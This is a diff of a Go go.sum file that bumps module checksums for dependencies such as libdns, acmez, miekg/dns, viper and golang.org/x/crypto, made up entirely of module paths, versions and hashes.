+github.com/libdns/libdns v0.2.1 h1:Wu59T7wSHRgtA0cfxC+n1c/e+O3upJGWytknkmFEDis=
+github.com/libdns/libdns v0.2.1/go.mod h1:yQCXzk1lEZmmCPa857bnk4TsOiqYasqpyOEeSObbb40=
github.com/linode/linodego v0.10.0/go.mod h1:cziNP7pbvE3mXIPneHj0oRY8L1WtGEIKlZ8LANE4eXA=
github.com/liquidweb/liquidweb-go v1.6.0/go.mod h1:UDcVnAMDkZxpw4Y7NOHkqoeiGacVLEIG/i5J9cyixzQ=
-github.com/magiconair/properties v1.8.0 h1:LLgXmsheXeRoUOBOjtwPQCWIYqM/LU1ayDtDePerRcY=
-github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
-github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
-github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
-github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI=
+github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo=
+github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60=
+github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40=
+github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
-github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
-github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
+github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-tty v0.0.0-20180219170247-931426f7535a/go.mod h1:XPvLUNfbS4fJH25nqRHfWLMa1ONC8Amw+mIA639KxkE=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
+github.com/mholt/acmez v1.0.3 h1:mDgRxGYk6TKlfydYNMfX0HXXJh9i73YL+swPjYCADU8=
+github.com/mholt/acmez v1.0.3/go.mod h1:qFGLZ4u+ehWINeJZjzPlsnjJBCPAADWTcIqE/7DAYQY=
github.com/miekg/dns v1.1.15/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
-github.com/miekg/dns v1.1.22 h1:Jm64b3bO9kP43ddLjL2EY3Io6bmy1qGb9Xxz6TqS6rc=
-github.com/miekg/dns v1.1.22/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=
+github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
+github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed/go.mod h1:3rdaFaCv4AyBgu5ALFM0+tSuHrBh6v692nyQe3ikrq0=
-github.com/mitchellh/mapstructure v1.1.2 h1:fmNYVwqnSfB9mZU6OS2O6GsXM+wcskZDuKQzvN1EDeE=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
+github.com/mitchellh/mapstructure v1.4.3 h1:OVowDSCllw/YjdLkam3/sm7wEtOy59d8ndGgCcyj8cs=
+github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
@@ -185,7 +271,6 @@ github.com/nbio/st v0.0.0-20140626010706-e9e8d9816f32/go.mod h1:9wM+0iRr9ahx58uY
github.com/nrdcg/auroradns v1.0.0/go.mod h1:6JPXKzIRzZzMqtTDgueIhTi6rFf1QvYE/HzqidhOhjw=
github.com/nrdcg/goinwx v0.6.1/go.mod h1:XPiut7enlbEdntAqalBIqcYcTEVhpv/dKWgDCX2SwKQ=
github.com/nrdcg/namesilo v0.2.1/go.mod h1:lwMvfQTyYq+BbjJd30ylEG4GPSS6PII0Tia4rRpRiyw=
-github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
github.com/olekukonko/tablewriter v0.0.1/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
@@ -193,36 +278,36 @@ github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1Cpa
github.com/openzipkin/zipkin-go v0.1.6/go.mod h1:QgAqvLzwWbR/WpD4A3cGpPtJrZXNIiJc5AZX7/PBEpw=
github.com/oracle/oci-go-sdk v7.0.0+incompatible/go.mod h1:VQb79nF8Z2cwLkLS35ukwStZIg5F66tcBccjip/j888=
github.com/ovh/go-ovh v0.0.0-20181109152953-ba5adb4cf014/go.mod h1:joRatxRJaZBsY3JAOEMcoOp05CnZzsx4scTxi95DHyQ=
-github.com/pelletier/go-toml v1.2.0 h1:T5zMGML61Wp+FlcbWjRDT7yAxhJNAiPPLOFECq181zc=
-github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
+github.com/pelletier/go-toml v1.9.4 h1:tjENF6MfZAg8e4ZmZTeWaWiT2vXtsoO6+iuOjFhECwM=
+github.com/pelletier/go-toml v1.9.4/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c=
github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
+github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs=
-github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
github.com/prometheus/client_golang v1.1.0/go.mod h1:I1FGZT9+L76gKKOs5djB6ezCbFQP1xR9D75/vuwEF3g=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
github.com/prometheus/client_model v0.0.0-20190115171406-56726106282f/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro=
+github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/prometheus/common v0.2.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
-github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
github.com/prometheus/common v0.6.0/go.mod h1:eBmuwkDJBwy6iBfxCBob6t6dR6ENT/y+J+Zk0j9GMYc=
github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
-github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
github.com/prometheus/procfs v0.0.3/go.mod h1:4A/X28fw3Fc593LaREMrKMqOKvUAntwMDaekg4FpcdQ=
-github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
github.com/rainycape/memcache v0.0.0-20150622160815-1031fa0ce2f2/go.mod h1:7tZKcyumwBO6qip7RNQ5r77yrssm9bfCowcLEBcU5IA=
github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/go-charset v0.0.0-20180617210344-2471d30d28b4/go.mod h1:qgYeAmZ5ZIpBWTGllZSQnw97Dj+woV0toclVaRGI8pc=
+github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sacloud/libsacloud v1.26.1/go.mod h1:79ZwATmHLIFZIMd7sxA3LwzVy/B77uj3LDoToVTxDoQ=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
@@ -232,77 +317,125 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
github.com/skratchdot/open-golang v0.0.0-20160302144031-75fb7ed4208c/go.mod h1:sUM3LWHvSMaG192sy56D9F7CNvL7jUJVXoqM1QKLnog=
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
-github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
-github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
-github.com/spf13/afero v1.1.2 h1:m8/z1t7/fwjysjQRYbP0RD+bUIF/8tJwPdEZsI83ACI=
-github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
-github.com/spf13/cast v1.3.0 h1:oget//CVOEoFewqQxwr0Ej5yjygnqGkvggSE/gB35Q8=
-github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
-github.com/spf13/jwalterweatherman v1.0.0 h1:XHEdyB+EcvlqZamSM4ZOMGlc93t6AcsBEu9Gc1vn7yk=
-github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
-github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg=
-github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
-github.com/spf13/viper v1.4.0 h1:yXHLWeravcrgGyFSyCgdYpXQ9dR9c/WED3pg1RhxqEU=
-github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
+github.com/spf13/afero v1.8.1 h1:izYHOT71f9iZ7iq37Uqjael60/vYC6vMtzedudZ0zEk=
+github.com/spf13/afero v1.8.1/go.mod h1:CtAatgMJh6bJEIs48Ay/FOnkljP3WeGUG0MC1RfAqwo=
+github.com/spf13/cast v1.4.1 h1:s0hze+J0196ZfEMTs80N7UlFt0BDuQ7Q+JDnHiMWKdA=
+github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
+github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk=
+github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo=
+github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
+github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/spf13/viper v1.10.1 h1:nuJZuYpG7gTj/XqiUwg8bA0cp1+M2mC3J4g5luUYBKk=
+github.com/spf13/viper v1.10.1/go.mod h1:IGlFPqhNAPKRxohIzWpI5QEy4kuI7tcl5WvR+8qy1rU=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
-github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
+github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
+github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
+github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/subosito/gotenv v1.2.0 h1:Slr1R9HxAlEKefgq5jn9U+DnETlIUa6HfgEzj0g5d7s=
+github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0 h1:QnyrPZZvPmR0AtJCxxfCtI1qN+fYpKTKJ/5opWmZ34k=
github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0/go.mod h1:huei1BkDWJ3/sLXmO+bsCNELL+Bp2Kks9OLyQFkzvA8=
github.com/tidwall/buntdb v1.1.0 h1:H6LzK59KiNjf1nHVPFrYj4Qnl8d8YLBsYamdL8N+Bao=
github.com/tidwall/buntdb v1.1.0/go.mod h1:Y39xhcDW10WlyYXeLgGftXVbjtM0QP+/kpz8xl9cbzE=
-github.com/tidwall/gjson v1.3.2 h1:+7p3qQFaH3fOMXAJSrdZwGKcOO/lYdGS0HqGhPqDdTI=
-github.com/tidwall/gjson v1.3.2/go.mod h1:P256ACg0Mn+j1RXIDXoss50DeIABTYK1PULOJHhxOls=
+github.com/tidwall/gjson v1.14.0 h1:6aeJ0bzojgWLa82gDQHcx3S0Lr/O51I9bJ5nv6JFx5w=
+github.com/tidwall/gjson v1.14.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/grect v0.0.0-20161006141115-ba9a043346eb h1:5NSYaAdrnblKByzd7XByQEJVT8+9v0W/tIY0Oo4OwrE=
github.com/tidwall/grect v0.0.0-20161006141115-ba9a043346eb/go.mod h1:lKYYLFIr9OIgdgrtgkZ9zgRxRdvPYsExnYBsEAd8W5M=
-github.com/tidwall/match v1.0.1 h1:PnKP62LPNxHKTwvHHZZzdOAOCtsJTjo6dZLCwpKm5xc=
-github.com/tidwall/match v1.0.1/go.mod h1:LujAq0jyVjBy028G1WhWfIzbpQfMO8bBZ6Tyb0+pL9E=
-github.com/tidwall/pretty v1.0.0 h1:HsD+QiTn7sK6flMKIvNmpqz1qrpP3Ps6jOKIKMooyg4=
-github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk=
+github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
+github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
+github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
+github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/rtree v0.0.0-20180113144539-6cd427091e0e h1:+NL1GDIUOKxVfbp2KoJQD9cTQ6dyP2co9q4yzmT9FZo=
github.com/tidwall/rtree v0.0.0-20180113144539-6cd427091e0e/go.mod h1:/h+UnNGt0IhNNJLkGikcdcJqm66zGD/uJGMRxK/9+Ao=
github.com/tidwall/tinyqueue v0.0.0-20180302190814-1e39f5511563 h1:Otn9S136ELckZ3KKDyCkxapfufrqDqwmGjcHfAyXRrE=
github.com/tidwall/tinyqueue v0.0.0-20180302190814-1e39f5511563/go.mod h1:mLqSmt7Dv/CNneF2wfcChfN1rvapyQr01LGKnKex0DQ=
github.com/timewasted/linode v0.0.0-20160829202747-37e84520dcf7/go.mod h1:imsgLplxEC/etjIhdr3dNzV3JeT27LbVu5pYWm0JCBY=
-github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
github.com/transip/gotransip v0.0.0-20190812104329-6d8d9179b66f/go.mod h1:i0f4R4o2HM0m3DZYQWsj6/MEowD57VzoH0v3d7igeFY=
github.com/uber-go/atomic v1.3.2/go.mod h1:/Ct5t2lcmbJ4OSe/waGBoaVvVqtO0bmtfVNex1PFV8g=
-github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc=
github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
github.com/vultr/govultr v0.1.4/go.mod h1:9H008Uxr/C4vFNGLqKx232C206GL0PBHzOP0809bGNA=
github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU=
github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ=
github.com/xeipuuv/gojsonschema v1.1.0/go.mod h1:5yf86TLmAcydyeJq5YvxkGPE2fm/u4myDekKRoLuqhs=
-github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
-github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
-go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
+github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
go.opencensus.io v0.20.1/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
go.opencensus.io v0.20.2/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
+go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
+go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
+go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk=
go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
-go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
-go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
+go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
+go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE=
+go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
+go.uber.org/goleak v1.1.11 h1:wy28qYRKZgnJTxGxvye5/wgWr1EKjmUDGYox5mGlRlI=
+go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ=
+go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
+go.uber.org/multierr v1.8.0 h1:dg6GjLku4EH+249NNmoIciG9N/jURbDG+pFlTkhzIC8=
+go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak=
go.uber.org/ratelimit v0.0.0-20180316092928-c15da0234277/go.mod h1:2X8KaoNd1J0lZV+PxJk/5+DGbO/tpwLR1m++a7FnB/Y=
-go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
+go.uber.org/zap v1.21.0 h1:WefMeulhovoZ2sYXz7st6K0sLj7bBhpiFaud4r4zST8=
+go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw=
golang.org/x/crypto v0.0.0-20180621125126-a49355c7e3f8/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190418165655-df01cb2cc480/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE=
+golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392 h1:ACG4HJsFiNMf47Y4PeRoebLNy/2lXT9EtprMuTFWt1M=
-golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY=
-golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
+golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
